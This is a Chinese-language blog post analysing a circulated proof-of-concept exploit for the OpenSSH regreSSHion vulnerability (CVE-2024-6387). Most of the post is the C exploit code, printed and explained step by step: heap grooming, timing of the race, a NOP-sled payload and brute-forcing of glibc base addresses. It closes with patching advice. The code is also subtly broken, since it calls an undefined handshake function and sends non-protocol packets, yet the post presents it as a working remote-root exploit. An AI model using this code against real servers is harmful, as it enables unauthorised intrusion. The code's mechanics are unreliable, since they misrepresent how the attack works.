漏洞分析|OpenSSH漏洞(CVE-2024-6387)

一、網傳漏洞POC信息

漏洞編號:CVE-2024-6387

漏洞名稱:OpenSSH regreSSHion 漏洞

POC上傳者(作者不確定):7etsuo

發布日期:2024-07-01

漏洞類型:遠程代碼執行(RCE)

影響范圍:8.5p1 <= OpenSSH < 9.8p1,OpenBSD系統不受該漏洞影響

二、漏洞描述

CVE-2024-6387 是OpenSSH中的一個漏洞,它利用了OpenSSH服務器(sshd)在glibc庫中的一個信號處理程序中的競態條件漏洞。具體來說,當SIGALRM信號處理程序調用了異步信號不安全的函數時,導致了遠程代碼執行(RCE)的可能性。攻擊者可以利用此漏洞在目標系統上以root權限執行任意代碼。

成功利用該漏洞的攻擊者可以以 root 身份進行未經身份驗證的遠程代碼執行 (RCE),在某些特定版本的 32 位操作系統上,攻擊者最短需 6-8 小時即可獲得最高權限的 root shell。而在 64 位機器上,目前沒有在可接受時間內的利用方案,但未來的改進可能使其成為現實。

三、漏洞原理

該漏洞的根源在于OpenSSH服務器的SIGALRM信號處理程序中的異步信號不安全函數調用。攻擊者通過精確的時間控制和多次嘗試,觸發了競態條件,從而在系統中執行了惡意代碼。具體來說,攻擊者利用了信號處理程序在處理信號時的脆弱性,通過精確調整休眠時間和發送特制的payload,最終繞過了安全保護機制,實現了遠程代碼執行。這種競態條件利用需要多次嘗試和精確的時間控制,以確保在正確的時間窗口內觸發漏洞。

網傳備注:盡管通過Qualys測試這個漏洞利用的效果看起來非常麻煩:在本地虛擬機環境“平均需要嘗試約10,000次才能成功,約需3-4小時,而由于ASLR,每次實驗成功率只有一半,因此平均需要6-8小時才能獲得遠程root shell”。

四、利用代碼分析

1. 文件頭部注釋

/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author         : 7etsuo * Date           : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode        : Replace placeholder with actual payload. * 2. GLIBC_BASES      : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout      : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */

文件頭部詳細描述了漏洞的基本信息,包括漏洞編號、漏洞名稱、作者、發布日期、漏洞類型和影響范圍。同時,還對漏洞的原理和利用方法進行了簡要說明。

2. 包含的頭文件

#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>

這些頭文件包含了標準庫函數和網絡編程所需的函數和類型,如 socket、connect、send 等。

3. 定義宏和全局變量

#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "\\x90\\x90\\x90\\x90";
MAX_PACKET_SIZE:定義最大數據包大小為256KB。LOGIN_GRACE_TIME:定義登錄寬限時間為120秒。MAX_STARTUPS:定義最大啟動數為100。CHUNK_ALIGN:定義一個宏用于內存對齊。GLIBC_BASES:定義可能的glibc基地址,用于繞過ASLR(地址空間布局隨機化)。shellcode:定義一個占位符shellcode,需要替換為實際的payload。

4. 函數聲明

int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);

這些是函數的前向聲明,用于后續的函數定義。它們分別用于設置連接、發送數據包、準備堆、測量數據包解析時間和嘗試利用競態條件。

5. 函數實現

5.1 設置連接

int setup_connection (const char *ip, int port){  int sock;  struct sockaddr_in server_addr;sock = socket (AF_INET, SOCK_STREAM, 0);  if (sock < 0)    {      perror ("socket");      return -1;    }server_addr.sin_family = AF_INET;  server_addr.sin_port = htons (port);  server_addr.sin_addr.s_addr = inet_addr (ip);if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0)    {      perror ("connect");      close (sock);      return -1;    }return sock;}

這個函數用于創建一個TCP連接到目標IP和端口。具體步驟如下:

創建一個TCP socket。

設置服務器地址,包括IP和端口。

嘗試連接到服務器,如果失敗則返回錯誤。

5.2 發送數據包

void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){  unsigned char buffer[MAX_PACKET_SIZE];  memset (buffer, 0, sizeof (buffer));  buffer[0] = packet_type;  memcpy (buffer + 1, data, len);  send (sock, buffer, len + 1, 0);}

這個函數用于通過socket發送一個數據包。具體步驟如下:

定義一個緩沖區,并清零。

將數據包類型放入緩沖區的第一個字節。

將數據復制到緩沖區中。

通過socket發送緩沖區的數據。

5.3 準備堆

void prepare_heap (int sock){  unsigned char buf[MAX_PACKET_SIZE];  memset(buf, 0x41, sizeof(buf)); // 填充緩沖區,模擬堆布局  send_packet(sock, 0, buf, sizeof(buf)); // 發送填充數據包}

這個函數的作用是通過發送大量填充數據包來準備堆布局。代碼中的實現通過將緩沖區填充為特定字符(0x41)并發送數據包來達到這個目的。這有助于在目標系統上觸發特定的內存布局,以便后續的競態條件利用能夠成功。

5.4 測量數據包解析時間

void time_final_packet (int sock, double *parsing_time){  struct timespec start, end;  unsigned char buf[256];  memset(buf, 0, sizeof(buf));clock_gettime(CLOCK_MONOTONIC, &start); // 記錄開始時間  send_packet(sock, 1, buf, sizeof(buf)); // 發送一個小數據包  recv(sock, buf, sizeof(buf), 0); // 接收服務器的響應  clock_gettime(CLOCK_MONOTONIC, &end); // 記錄結束時間*parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // 計算解析時間}

這個函數用于測量最后一個數據包的解析時間。通過記錄發送和接收數據包的時間差,確定數據包的解析時間。這對于競態條件利用非常關鍵,因為攻擊者需要精確控制時間來觸發漏洞。

5.5 嘗試利用競態條件詳細分析

這個函數 attempt_race_condition 試圖利用競態條件來觸發漏洞,實現遠程代碼執行。下面是對該函數的詳細分析:

int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){  struct timespec req, rem;  unsigned char payload[256];// 創建包含shellcode的payload  memset(payload, 0x90, sizeof(payload)); // 填充NOP指令  memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodereq.tv_sec = (time_t)parsing_time;  req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;nanosleep(&req, &rem); // 休眠以精確控制時間send_packet(sock, 2, payload, sizeof(payload)); // 發送包含shellcode的payload// 驗證是否成功  if (recv(sock, payload, sizeof(payload), 0) > 0)    {      if (strstr((char *)payload, "root") != NULL)        return 1; // 成功    }return 0; // 失敗}

詳細解釋

定義和初始化變量

struct timespec req, rem;unsigned char payload[256];
req 和 rem 是 timespec 結構體,用于指定和保存休眠時間。payload 是一個 256 字節的緩沖區,用于存放惡意負載數據。

創建包含shellcode的payload

memset(payload, 0x90, sizeof(payload)); // 填充NOP指令memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodememset(payload, 0x90, sizeof(payload));:使用 0x90 (NOP 指令) 填充整個緩沖區。NOP 指令不會執行任何操作,只是繼續執行下一條指令。這種填充方式稱為 NOP sled,用于確保在代碼執行過程中滑向實際的 shellcode。memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode));:將實際的 shellcode 插入到緩沖區的末尾。

計算并設置休眠時間

req.tv_sec = (time_t)parsing_time;req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;req.tv_sec:將 parsing_time 轉換為秒部分。req.tv_nsec:將 parsing_time 的小數部分轉換為納秒。

休眠以精確控制時間

nanosleep(&req, &rem); // 休眠以精確控制時間nanosleep(&req, &rem);:使用納秒級的精確度休眠指定的時間。這對于利用競態條件非常關鍵,因為攻擊者需要在正確的時間窗口內執行惡意代碼。

發送包含shellcode的payload

send_packet(sock, 2, payload, sizeof(payload)); // 發送包含shellcode的payloadsend_packet(sock, 2, payload, sizeof(payload));:通過 socket 發送包含 shellcode 的數據包。

驗證是否成功

if (recv(sock, payload, sizeof(payload), 0) > 0)  {    if (strstr((char *)payload, "root") != NULL)      return 1; // 成功  }return 0; // 失敗recv(sock, payload, sizeof(payload), 0) > 0:嘗試從目標系統接收響應數據。如果接收到的數據長度大于 0,表示目標系統有響應。if (strstr((char *)payload, "root") != NULL):檢查接收到的數據是否包含 "root" 字符串。如果包含,表示成功獲得目標系統的 root 權限,返回 1。

如果沒有接收到包含 “root” 字符串的響應,則返回 0,表示嘗試失敗。

6. 漏洞利用主函數

int perform_exploit (const char *ip, int port){  int success = 0;  double parsing_time = 0;  double timing_adjustment = 0;for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)    {      uint64_t glibc_base = GLIBC_BASES[base_idx];      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);for (int attempt = 0; attempt < 10000 && !success; attempt++)        {          if (attempt % 1000 == 0)            {              printf ("Attempt %d of 10000\n", attempt);            }int sock = setup_connection (ip, port);          if (sock < 0)            {              fprintf (stderr, "Failed to establish connection, attempt %d\n", attempt);              continue;            }if (perform_ssh_handshake (sock) < 0)            {              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);              close (sock);              continue;            }prepare_heap (sock);          time_final_packet (sock, &parsing_time);parsing_time += timing_adjustment;if (attempt_race_condition (sock, parsing_time, glibc_base))            {              printf ("Possible exploitation success on attempt %d with glibc base 0x%lx!\n",                      attempt, glibc_base);              success = 1;            }          else            {              timing_adjustment += 0.00001;            }close (sock);          usleep (100000); // 100ms delay between attempts        }    }return success;}

這個主函數是整個漏洞利用的核心部分。它執行以下步驟:

初始化變量 success、parsing_time 和 timing_adjustment。

循環遍歷可能的glibc基地址。

對每個基地址進行多次嘗試,每次嘗試時:

設置與目標的連接。

執行SSH握手。

準備堆布局。

測量最后一個數據包的解析時間。

嘗試利用競態條件。

如果成功,打印成功信息并退出循環;否則,調整定時參數并繼續嘗試。

通過這種方法,攻擊者能夠逐步調整定時參數和嘗試不同的glibc基地址,以期成功利用漏洞并獲得目標系統的控制權。

五、漏洞修復建議

更新軟件:及時更新OpenSSH到最新版本,包含所有安全補丁。

監控日志:定期檢查系統日志,發現異常登錄或訪問行為。

最小權限:確保系統上的服務運行在最小權限用戶下,降低潛在風險。

六、參考文檔

https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server

https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt

https://mp.weixin.qq.com/s/yptQH9xo5d8Acjw29B_kmg

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/40572.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/40572.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/40572.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

昇思MindSpore學習筆記3-03熱門LLM及其他AI應用--基于MobileNetv2的垃圾分類

摘要&#xff1a; MindSpore AI框架使用MobileNetv2模型開發垃圾分檢代碼。檢測本地圖像中的垃圾物體&#xff0c;保存檢測結果到文件。記錄了開發過程和步驟&#xff0c;包括環境準備、數據下載、加載和預處理、模型搭建、訓練、測試、推理應用等。 1、實驗目的 了解垃圾分…

解決pip默認安裝位置在C盤方法

新版python中使用pip命令將opencv庫安裝到base環境中 首先我們打開命令控制窗口&#xff0c;激活base環境&#xff0c;輸入conda activate base 然后檢查一下自己base環境中是否安裝opencv庫&#xff0c;輸入conda list 往下找&#xff0c;找到o開頭的地方&#xff0c;發現是…

達夢數據庫 頁大小與數據庫字段長度的關系

對于達夢數據庫實例而言&#xff0c;頁大小 (page_size)、簇大小 (extent_size)、大小寫敏感 (case_sensitive)、字符集 (charset) 這四個參數&#xff0c;一旦確定無法修改&#xff1b;如果過程中發現這些數據設置的不對&#xff0c;只能是重新新建數據庫實例&#xff0c;而不…

GraphQL與RESTful API的區別和優勢

GraphQL GraphQL是一種用于API設計的語言和查詢協議&#xff0c;由Facebook于2015年推出。它允許客戶端向服務器指定他們需要的數據字段&#xff0c;而不是像RESTful API那樣請求整個資源然后過濾數據。在GraphQL中&#xff0c;客戶端發送一個單一的請求&#xff0c;而服務器返…

通過npm安裝OpenLayers庫,vue3+ts環境下OpenLayers實現加載本地高德離線地圖并添加標記點、標記點氣泡及標記點氣泡按鈕事件

在Vue 3和TypeScript的環境下使用OpenLayers來加載高德地圖的離線瓦片&#xff0c;并添加標記點、標記點氣泡以及處理氣泡上的按鈕事件&#xff0c;涉及到幾個步驟。首先&#xff0c;需要明確高德地圖的瓦片數據格式和如何配置OpenLayers以使用這些瓦片。接著&#xff0c;我們需…

零信任沙箱是什么?零信任沙箱有什么作用?

零信任沙箱是什么&#xff1f;零信任沙箱有什么作用&#xff1f; 在當今數字化時代&#xff0c;數據安全已成為各行各業的核心關注點。零信任沙箱作為一種新興的安全技術&#xff0c;不僅適用于政府和金融等關鍵領域&#xff0c;其實用性覆蓋了更廣泛的場景&#xff0c;如醫療…

數智化配補調:零售品牌增長新引擎

隨著科技的不斷進步和消費者需求的日益個性化、多元化&#xff0c;傳統服裝行業正面臨著前所未有的挑戰與機遇。在這個快速變化的時代&#xff0c;如何精準把握市場脈搏&#xff0c;實現庫存的高效管理&#xff0c;成為了服裝品牌生存與發展的關鍵。數智化配補調策略應運而生&a…

mysql定時備份數據庫

文章目錄 核心目標思路具體方法一、編寫腳本二、修改文件屬性三、找一個mysqldump文件四、把.sh放到定時器里 其它&#xff1a;windows的腳本 核心目標 解決數據庫定時備份的工作。centos環境。 思路 用centos的crontab定時執行腳本。 具體方法 一、編寫腳本 編寫backup_…

精準控制:Eureka服務續約間隔配置全指南

精準控制&#xff1a;Eureka服務續約間隔配置全指南 在微服務架構中&#xff0c;服務的發現與注冊是確保服務間有效通信的關鍵。Eureka&#xff0c;作為Netflix開源的服務發現框架&#xff0c;提供了一種優雅的方式來實現服務的注冊與發現。然而&#xff0c;服務續約間隔的配置…

vue單獨部署到寶塔教程

配置反向代理 注意:如果目標網站是https則寫https否則寫http 2.關于解決部署后無法刷新,直接報錯404 location / { try_files $uri $uri/ /index.html; }

程序員魚皮的保姆級寫簡歷指南第三彈,簡歷常見問題和建議匯總

大家好&#xff0c;我是程序員魚皮。做知識分享這些年來&#xff0c;我看過太多簡歷、也幫忙修改過很多的簡歷&#xff0c;發現很多同學是完全不會寫簡歷的、會犯很多常見的問題&#xff0c;不能把自己的優勢充分展示出來&#xff0c;導致錯失了很多面試機會&#xff0c;實在是…

PostgreSQL LIMIT 子句

PostgreSQL LIMIT 子句 PostgreSQL 是一種功能強大的開源對象關系數據庫管理系統&#xff0c;廣泛用于各種應用中。在處理大量數據時&#xff0c;我們通常只需要檢索部分記錄&#xff0c;而不是整個數據集。這時&#xff0c;LIMIT 子句就變得非常有用。本文將詳細介紹 Postgre…

代碼隨想錄Day74(圖論Part10)

94. 城市間貨物運輸| &#xff08;Bellman_ford隊列優化版 / SPFA&#xff09; 題目&#xff1a;94. 城市間貨物運輸 I (kamacoder.com) 思路&#xff1a; Bellman_ford 算法 每次都是對所有邊進行松弛&#xff0c;其實是多做了一些無用功。 只需要對 上一次松弛的時候更新過的…

p6spy 組件打印完整的 SQL 語句、執行耗時

一、前言 我們來配置一下 Mybatis Plus 打印 SQL 功能&#xff08;包括執行耗時&#xff09;&#xff0c;一方面可以了解到每個操作都具體執行的什么 SQL 語句&#xff0c; 另一方面通過打印執行耗時&#xff0c;也可以提前發現一些慢 SQL&#xff0c;提前做好優化&#xff0c…

layui中添加上下文提示彈窗

<p context-tip"自定義上下文提示信息">段落內容...</p> <div context-tip"自定義上下文提示信息">div內容...</div>// 懸浮提示 $("body").on("mouseenter", "*[context-tip]", function () {v…

操作系統僵尸進程、CFS、上下文切換

進程 Linux的進程調度 CFS 完全公平調度算法 權重和nice值 權重&#xff1a;權重越大&#xff0c;分配的時間比例越大&#xff0c;就相當于進程的優先級越高。 進程的時間 C P U 總時間 ? 進程的權重 / 就緒隊列所有進程權重之和 進程的時間 CPU總時間 * 進程的權重/就緒…

電腦鼠標一直轉圈圈怎么處理?對癥下藥,分享6種方法

在使用電腦的過程中&#xff0c;鼠標一直轉圈圈是一個常見且令人困擾的問題。這種情況通常意味著系統正在處理某些任務&#xff0c;但如果持續時間過長&#xff0c;可能表明系統存在性能問題或錯誤。本文將詳細探討鼠標一直轉圈圈的常見原因及其解決方法。 摘要 電腦鼠標一直轉…

概述:監督學習(分類,回歸)與無監督學習(聚類)

目錄&#xff1a; 一、監督學習&#xff1a;1.什么是監督學習&#xff1a;2.監督學習類型: 二、無監督學習1.什么是無監督學習&#xff1a;2.無監督學習類型: 一、監督學習&#xff1a; 1.什么是監督學習&#xff1a; 當前創造市場價值的機器學習中99%都是監督學習。監督學習…

Django實現部門管理功能

在這篇文章中,我們將介紹如何使用Django框架實現一個簡單的部門管理功能。這個功能包括部門列表展示、添加新部門、編輯和刪除部門等操作。 1. 項目設置 首先,確保你已經安裝了Django并創建了一個新的Django項目。在項目中,我們需要創建一個名為??app01??的應用。 2.…

【前端項目筆記】8 訂單管理

訂單管理 效果展示&#xff1a; 在開發功能之前先創建分支order cls 清屏 git branch 查看所有分支&#xff08;*代表當前分支&#xff09; git checkout -b order 新建分支order git push -u origin order 將本地的當前分支提交到云端倉庫origin中命名為order 通過路由方式…